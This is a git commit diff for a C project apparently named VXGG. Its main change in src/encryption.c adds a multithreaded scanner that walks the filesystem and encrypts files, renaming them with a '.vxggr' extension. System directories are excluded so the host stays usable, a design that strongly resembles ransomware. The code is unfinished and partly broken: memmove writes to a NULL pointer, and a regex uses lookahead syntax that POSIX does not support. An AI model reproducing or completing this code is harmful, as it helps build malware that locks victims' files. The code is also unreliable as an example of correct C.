diff options
| author | @syxhe <https://t.me/syxhe> | 2026-01-15 12:47:29 -0600 |
|---|---|---|
| committer | @syxhe <https://t.me/syxhe> | 2026-01-15 12:47:29 -0600 |
| commit | 940bd53b5a6fc1864d6a57b16d7f1b4b594f1851 (patch) | |
| tree | fc6d186e1cc1aa62040b0314d0aa8819f69b7042 /src | |
| parent | c4b9503b3e3331c09712810910d2b36f52d98ada (diff) | |
Diffstat (limited to 'src')
| -rw-r--r-- | src/encryption.c | 70 | ||||
| -rwxr-xr-x | src/main.c | 2 | ||||
| -rw-r--r-- | src/shared.c | 22 | ||||
| -rw-r--r-- | src/threadpool.c | 2 |
4 files changed, 68 insertions, 28 deletions
diff --git a/src/encryption.c b/src/encryption.c index a81e6aa..7d64564 100644 --- a/src/encryption.c +++ b/src/encryption.c | |||
| @@ -32,6 +32,8 @@ | |||
| 32 | #include <stdio.h> | 32 | #include <stdio.h> |
| 33 | #include <string.h> | 33 | #include <string.h> |
| 34 | 34 | ||
| 35 | #include <regex.h> | ||
| 36 | |||
| 35 | #include <errno.h> | 37 | #include <errno.h> |
| 36 | #include <error.h> | 38 | #include <error.h> |
| 37 | 39 | ||
| @@ -402,39 +404,54 @@ enum CRYPTSCAN_CRYPTMODE { | |||
| 402 | }; | 404 | }; |
| 403 | 405 | ||
| 404 | struct _cryptscan_args { | 406 | struct _cryptscan_args { |
| 405 | char *folder; | 407 | char *fsentry; |
| 406 | taskqueue *toscan; | 408 | taskqueue *toscan; |
| 407 | ctqueue *tocrypt; | 409 | ctqueue *tocrypt; |
| 410 | unsigned char *key; | ||
| 408 | enum CRYPTSCAN_CRYPTMODE mode; | 411 | enum CRYPTSCAN_CRYPTMODE mode; |
| 409 | }; | 412 | }; |
| 410 | 413 | ||
| 411 | /// Directory entries (files and folders) to exclude from encryption | 414 | #define ENCRYPTED_EXT ".vxggr" |
| 412 | #define EXCLUDED_ENTRIES ((const char* const []){\ | 415 | #define DEFAULT_IGNORED "^(\\.config|\\.bashrc|bin|dev|lib|root|boot|etc|lib32|run|sys|usr|home|lib64|proc|sbin|var)" |
| 413 | /* Entries found in /home/<user> */ \ | 416 | |
| 414 | ".config", ".bashrc", \ | 417 | /// Workaround for scandir callback not letting me pass user arguments. Gross hack, but works |
| 415 | /* Entries included for extra safety, so that the encryption doesn't accidentally render the system unusable */ \ | 418 | static enum CRYPTSCAN_CRYPTMODE _cryptscan__selector__csm = CRYPTSCAN_CRYPTMODE__UNSPEC; |
| 416 | "bin", "dev", "lib", "root", "boot", "etc", "lib32", "run", "sys", "usr", "home", "lib64", "proc", "sbin", "var"\ | 419 | /// TODO: Map out when this is supposed to change in the other cryptscan functions |
| 417 | }) | ||
| 418 | 420 | ||
| 419 | /// Helper function to select files to be encrypted | 421 | /// Helper function to select files to be encrypted |
| 420 | static int _cryptscan__selector(const struct dirent *de) { | 422 | static int _cryptscan__selector(const struct dirent *de) { |
| 421 | // entries with non-zero returns get included, zeros get excluded | 423 | // entries with non-zero returns get included, zeros get excluded |
| 422 | if(!de) return 0; | 424 | if(!de) return 0; |
| 425 | enum CRYPTSCAN_CRYPTMODE mode = _cryptscan__selector__csm; | ||
| 426 | |||
| 427 | if(_cryptscan__selector__csm <= CRYPTSCAN_CRYPTMODE__UNSPEC || _cryptscan__selector__csm >= CRYPTSCAN_CRYPTMODE__TOOBIG) { | ||
| 428 | if(___VXGG___VERBOSE_ERRORS___) WARN(ERANGE, "<_cryptscan__selector> Warning: Given mode is oob. Expected: [%d, %d], Got: %d",, CRYPTSCAN_CRYPTMODE__UNSPEC + 1, CRYPTSCAN_CRYPTMODE__TOOBIG - 1, mode); | ||
| 429 | return 0; | ||
| 430 | } | ||
| 423 | 431 | ||
| 424 | for(int i = 0; i < STATIC_ARRAY_LEN(EXCLUDED_ENTRIES); i++) { | 432 | // Initialize static values |
| 425 | // Would use strncmp here but d_name doesn't have a fixed size and is supposedly guaranteed to have a null terminator so it shouldn't be a big deal | 433 | static regex_t *ereg = NULL, *dreg = NULL; |
| 426 | if(strcmp(de->d_name, EXCLUDED_ENTRIES[i]) == 0) | 434 | if(ereg == NULL) { |
| 435 | ereg = VXGG_CALLOC(1, sizeof(*ereg)); | ||
| 436 | dreg = VXGG_CALLOC(1, sizeof(*dreg)); | ||
| 437 | if(!ereg || !dreg) { | ||
| 438 | if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__selector> Warning: Could not initialize regular expression memory, skipping scan of fs entity \"%s\"",, de->d_name); | ||
| 427 | return 0; | 439 | return 0; |
| 440 | } | ||
| 441 | |||
| 442 | /// TODO: Check return values. Free the pointers and set to zero on error so the initialization runs again | ||
| 443 | regcomp(ereg, "\\" ENCRYPTED_EXT "|" DEFAULT_IGNORED, REG_EXTENDED | REG_ICASE | REG_NOSUB); | ||
| 444 | regcomp(dreg, "^(?!.+\\" ENCRYPTED_EXT ").+$|" DEFAULT_IGNORED, REG_EXTENDED | REG_ICASE | REG_NOSUB); | ||
| 428 | } | 445 | } |
| 429 | 446 | ||
| 430 | return 1; | 447 | return regexec((mode == CRYPTSCAN_CRYPTMODE__ENCRYPT) ? ereg : dreg, de->d_name, 0, NULL, 0); |
| 431 | } | 448 | } |
| 432 | 449 | ||
| 433 | void _cryptscan_args_free(void *data) { | 450 | void _cryptscan_args_free(void *data) { |
| 434 | if(!data) return; | 451 | if(!data) return; |
| 435 | struct _cryptscan_args *real = data; | 452 | struct _cryptscan_args *real = data; |
| 436 | 453 | ||
| 437 | free(real->folder); | 454 | free(real->fsentry); |
| 438 | free(real); | 455 | free(real); |
| 439 | return; | 456 | return; |
| 440 | } | 457 | } |
| @@ -459,11 +476,11 @@ int _cryptscan__process_scandir(const char * const folder, taskqueue *toscan, ct | |||
| 459 | if(!args) { | 476 | if(!args) { |
| 460 | if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not create arg holder for task",); | 477 | if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not create arg holder for task",); |
| 461 | } | 478 | } |
| 462 | args->folder = strdup(namelist[i]->d_name); | 479 | args->fsentry = strdup(namelist[i]->d_name); |
| 463 | args->tocrypt = tocrypt; | 480 | args->tocrypt = tocrypt; |
| 464 | args->toscan = toscan; | 481 | args->toscan = toscan; |
| 465 | args->mode = mode; | 482 | args->mode = mode; |
| 466 | if(!args->folder) {if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not duplicate file \"%s\"s name for processing",, namelist[i]->d_name); continue;} | 483 | if(!args->fsentry) {if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not duplicate file \"%s\"s name for processing",, namelist[i]->d_name); continue;} |
| 467 | 484 | ||
| 468 | switch(namelist[i]->d_type) { | 485 | switch(namelist[i]->d_type) { |
| 469 | // Try to stat the file if it's unknown | 486 | // Try to stat the file if it's unknown |
| @@ -478,7 +495,7 @@ int _cryptscan__process_scandir(const char * const folder, taskqueue *toscan, ct | |||
| 478 | case DT_REG: CRYPT: | 495 | case DT_REG: CRYPT: |
| 479 | tmptsk = task_new(_cryptscan__crypt, _cryptscan_args_free, args); | 496 | tmptsk = task_new(_cryptscan__crypt, _cryptscan_args_free, args); |
| 480 | if(!tmptsk) { | 497 | if(!tmptsk) { |
| 481 | if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not generate crypt task for \"%s\"",, args->folder); | 498 | if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not generate crypt task for \"%s\"",, args->fsentry); |
| 482 | break; | 499 | break; |
| 483 | } | 500 | } |
| 484 | 501 | ||
| @@ -497,7 +514,7 @@ int _cryptscan__process_scandir(const char * const folder, taskqueue *toscan, ct | |||
| 497 | case DT_DIR: SCAN: | 514 | case DT_DIR: SCAN: |
| 498 | tmptsk = task_new(_cryptscan__scan, _cryptscan_args_free, args); | 515 | tmptsk = task_new(_cryptscan__scan, _cryptscan_args_free, args); |
| 499 | if(!tmptsk) { | 516 | if(!tmptsk) { |
| 500 | if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not generate scan task for \"%s\"",, args->folder); | 517 | if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not generate scan task for \"%s\"",, args->fsentry); |
| 501 | break; | 518 | break; |
| 502 | } | 519 | } |
| 503 | 520 | ||
| @@ -534,24 +551,27 @@ _cryptscan__process_scandir_CLEANUP: | |||
| 534 | int _cryptscan__scan(void *data) { | 551 | int _cryptscan__scan(void *data) { |
| 535 | if(!data) return -1; | 552 | if(!data) return -1; |
| 536 | struct _cryptscan_args *real = data; | 553 | struct _cryptscan_args *real = data; |
| 537 | return _cryptscan__process_scandir(real->folder, real->toscan, real->tocrypt, real->mode); | 554 | return _cryptscan__process_scandir(real->fsentry, real->toscan, real->tocrypt, real->mode); |
| 538 | } | 555 | } |
| 539 | 556 | ||
| 540 | // TODO: Implement | 557 | /// TODO: Implement |
| 541 | int _cryptscan__crypt(void *data) { | 558 | int _cryptscan__crypt(void *data) { |
| 542 | if(!data) return -1; | 559 | if(!data) return -1; |
| 560 | |||
| 543 | struct _cryptscan_args *real = data; | 561 | struct _cryptscan_args *real = data; |
| 562 | char *target = NULL, *output = NULL; | ||
| 544 | 563 | ||
| 545 | // Read data for filename & crypt mode to generate tasks | 564 | // Read data for filename & crypt mode to run the task |
| 565 | int (*fp)(const char *const, const char *const, const unsigned char *) = (real->mode == CRYPTSCAN_CRYPTMODE__ENCRYPT) ? encryptviatmp : decryptto; | ||
| 546 | 566 | ||
| 567 | // If encrypting, take filename and append .vxggr to end. If decrypting, find .vxggr extension and truncate | ||
| 568 | target = real->fsentry; | ||
| 569 | output = (real->mode == CRYPTSCAN_CRYPTMODE__ENCRYPT) ? vxgg_sstrcat(target, ".vxggr") : memmove(output, target, strlen(target) - 6); | ||
| 570 | /// TODO: Keep track of the concat'ed name and free it once it's done being used | ||
| 547 | 571 | ||
| 548 | return 0; | 572 | return fp(target, output, real->key); |
| 549 | } | 573 | } |
| 550 | 574 | ||
| 551 | // Going to implement this using a taskqueue. Each folder is added as a task to scan, with each file then added to a ctq for later. Scanning will be done linearly | ||
| 552 | // for my sake, and because I do not care to do generics in C beyond what is absolutely necessary (aka I don't want to implement a hashmap/hashset to make parallel | ||
| 553 | // execution efficient) | ||
| 554 | |||
| 555 | ctqueue * cryptscan(int threads, const char * const start, enum CRYPTSCAN_CRYPTMODE mode) { | 575 | ctqueue * cryptscan(int threads, const char * const start, enum CRYPTSCAN_CRYPTMODE mode) { |
| 556 | if(!start || threads < 1 || mode <= CRYPTSCAN_CRYPTMODE__UNSPEC || mode >= CRYPTSCAN_CRYPTMODE__TOOBIG) return NULL; | 576 | if(!start || threads < 1 || mode <= CRYPTSCAN_CRYPTMODE__UNSPEC || mode >= CRYPTSCAN_CRYPTMODE__TOOBIG) return NULL; |
| 557 | 577 | ||
| @@ -30,7 +30,7 @@ int main() { | |||
| 30 | Clay_Arena arena = Clay_CreateArenaWithCapacityAndMemory(totalMem, VXGG_CALLOC(totalMem, 1)); | 30 | Clay_Arena arena = Clay_CreateArenaWithCapacityAndMemory(totalMem, VXGG_CALLOC(totalMem, 1)); |
| 31 | Clay_Initialize(arena, (Clay_Dimensions){0, 0} /* TODO: Figure out how to get screen dims */, (Clay_ErrorHandler){handleClayErrors}); | 31 | Clay_Initialize(arena, (Clay_Dimensions){0, 0} /* TODO: Figure out how to get screen dims */, (Clay_ErrorHandler){handleClayErrors}); |
| 32 | 32 | ||
| 33 | // TODO: Figure out how to use clay | 33 | /// TODO: Figure out how to use clay |
| 34 | 34 | ||
| 35 | return 0; | 35 | return 0; |
| 36 | } \ No newline at end of file | 36 | } \ No newline at end of file |
diff --git a/src/shared.c b/src/shared.c index 4e3fa01..4fd8b33 100644 --- a/src/shared.c +++ b/src/shared.c | |||
| @@ -64,12 +64,32 @@ void* VXGG_ALLOC(size_t size) { | |||
| 64 | #define ERROR(status, errnum, format, ...) do {error((status), (errnum), (format)__VA_ARGS__); exit((status));} while (0) | 64 | #define ERROR(status, errnum, format, ...) do {error((status), (errnum), (format)__VA_ARGS__); exit((status));} while (0) |
| 65 | //! Spit out a warning using `error` | 65 | //! Spit out a warning using `error` |
| 66 | #define WARN(errnum, format, ...) do {error(0, (errnum), (format)__VA_ARGS__);} while (0) | 66 | #define WARN(errnum, format, ...) do {error(0, (errnum), (format)__VA_ARGS__);} while (0) |
| 67 | // TODO: gcc is yelling at me about these functions implicitly falling through. Not sure why | 67 | /// TODO: gcc is yelling at me about these functions implicitly falling through. Not sure why |
| 68 | 68 | ||
| 69 | typedef int (*gcallback)(void*); //!< Generic callback signature | 69 | typedef int (*gcallback)(void*); //!< Generic callback signature |
| 70 | typedef void (*fcallback)(void*); //!< free()-like callback signature | 70 | typedef void (*fcallback)(void*); //!< free()-like callback signature |
| 71 | 71 | ||
| 72 | /** | 72 | /** |
| 73 | * @brief Safe strcat implementation | ||
| 74 | * | ||
| 75 | * @param str1 A string of characters to append. Must be non-null | ||
| 76 | * @param str2 A string of characters being appended. Must be non-null | ||
| 77 | * @retval (char*)[NULL, char*] A heap-allocated, null terminated string consisting of `str1 + str2`. Null on error | ||
| 78 | */ | ||
| 79 | char* vxgg_sstrcat(const char *const str1, const char *const str2) { | ||
| 80 | if(!str1 || !str2) return NULL; | ||
| 81 | |||
| 82 | size_t s1 = strlen(str1), s2 = strlen(str2); | ||
| 83 | char *res = VXGG_CALLOC(s1 + s2 + 1, sizeof(*res)); | ||
| 84 | if(!res) return NULL; | ||
| 85 | |||
| 86 | memmove(res, str1, s1); | ||
| 87 | memmove(res + s1, str2, s2); | ||
| 88 | res[s1 + s2] = '\0'; | ||
| 89 | return res; | ||
| 90 | } | ||
| 91 | |||
| 92 | /** | ||
| 73 | * @brief Read the entire contents of a file descriptor into a malloc()'ed buffer | 93 | * @brief Read the entire contents of a file descriptor into a malloc()'ed buffer |
| 74 | * | 94 | * |
| 75 | * @param str Pointer to a string. Will be replaced with the malloc()'ed string | 95 | * @param str Pointer to a string. Will be replaced with the malloc()'ed string |
diff --git a/src/threadpool.c b/src/threadpool.c index c345aef..b466b5b 100644 --- a/src/threadpool.c +++ b/src/threadpool.c | |||
| @@ -480,7 +480,7 @@ static int __CTQ_CONSUMER(void *ctq) { | |||
| 480 | 480 | ||
| 481 | thrd_exit(1); | 481 | thrd_exit(1); |
| 482 | } | 482 | } |
| 483 | // TODO: Make this function return 0 or -1 depending on whether the overall ctq has been canceled or not. Canceling shouldn't | 483 | /// TODO: Make this function return 0 or -1 depending on whether the overall ctq has been canceled or not. Canceling shouldn't |
| 484 | // be treated as an error | 484 | // be treated as an error |
| 485 | 485 | ||
| 486 | /** | 486 | /** |
